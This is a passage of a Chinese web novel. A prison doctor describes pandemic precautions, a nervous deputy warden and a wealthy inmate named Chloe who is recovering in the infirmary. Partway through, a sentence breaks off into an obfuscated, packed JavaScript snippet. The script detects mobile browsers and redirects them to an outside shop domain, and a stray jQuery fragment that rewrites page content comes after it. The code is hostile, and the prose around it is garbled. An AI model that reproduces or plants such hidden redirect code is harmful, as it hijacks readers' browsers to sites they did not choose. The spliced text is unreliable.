桌上电话响了,又是副监狱长,打过来问我,现在我们跟隔离区的女囚是不是没穿防护服了。
我说没有。
她语气十分不快,说为什么不穿防护服,外面疫情都很严重了,万一我感染了,那整个监狱都危险。
我说目前看来新接收的女囚们比较安全。
她说有的病毒潜伏期,好几个月。
好几个月?
这个我倒是没有听说过。
她说让我们这几个暂时先不要接触狱警,而送来的病人克洛伊,先不要送回监区,反正她有钱,让她在我们医务室先呆一段时间。
如果照她这么说,有的病毒潜伏期几个月,那是不是要几个月都让我们自己这么过。
克洛伊这人也爽狂,说让她在医务室待一段时间治疗,她点头说好然后让人打钱过来。
但她知道我们这段时间都在和新接收的女囚近距离接触后,脸上露出恐惧之色:“你,你们没被感染吧。”
我说道:“我们都没问题,我们每天都在给我们自己做核酸检测。女囚们我们也给她们做核酸检测。”
她问核酸检测是什么。
我跟她解释了一遍,她又问是不是被传染了就会死,就算治好了也落下什么肺结核之类的后遗症。
在监狱里,信息闭塞,以讹传讹,有人把这个病毒严重化,女囚们都信以为真了。
我说哪有那么严重,现在也渐渐有特效药的,但生产没那么快,目前情况是被传染了的话,有些人病情严重一些,有些人可能只有轻微的感冒一样的症状,至于说被传染了死亡的那些病人,因为他们自身就带有其它的基础疾病。
我解释了一番后,她才点着头:“我相信你,我懂了。”
不光是女囚们,很多狱警们对病毒的认知都不太全面,所以我觉得我有必要去开个会,跟狱警们宣传一下这些疾病知识。
哪知我刚提出这个想法,副监狱长马上拒绝,让我暂时先不要跟任何狱警们接触,现在外面疫情越来越严重,死的人一批又一批。
死了一批又一批,也不知道她从哪儿听来的。
从国内的消息来看,病情爆发的确有些严重
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14296410|152168||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,但不至于如她所说,死了一批又一批。
克洛伊说她的酒店也停业了。
我说如果你在外面,你的酒店肯定能打理得更好吧。
她说如果她在外面,她现在起码多开三家酒店,并且会经营得很好,她会是亿万富婆。
看的出来,克洛伊这个女人,有经商头脑。
她问我办公室有什么书看,我去办公室拿了一堆书来,那都是我之前的医生留下的各种书籍。
胖狱警打电话给我,说如果担心克洛伊闹事,她就把手铐拿过来给克洛伊铐住床头。
吗的,监区又不派管教来陪护,安雅琳总不能天天晚上在这里看着她,如果她要上个洗手间什么的,是不是只能用尿壶,我一个男的照顾又不方便。
我说不用了。
克洛伊这人也不会对我们造成什么生命安全的威胁。
而且估计她也没有逃跑的想法。
刚开始前几晚,都是安雅琳在陪护照顾,在医务室睡觉。
后面恢复了一些,安雅琳跑回宿舍睡,毕竟在医务室并不好睡。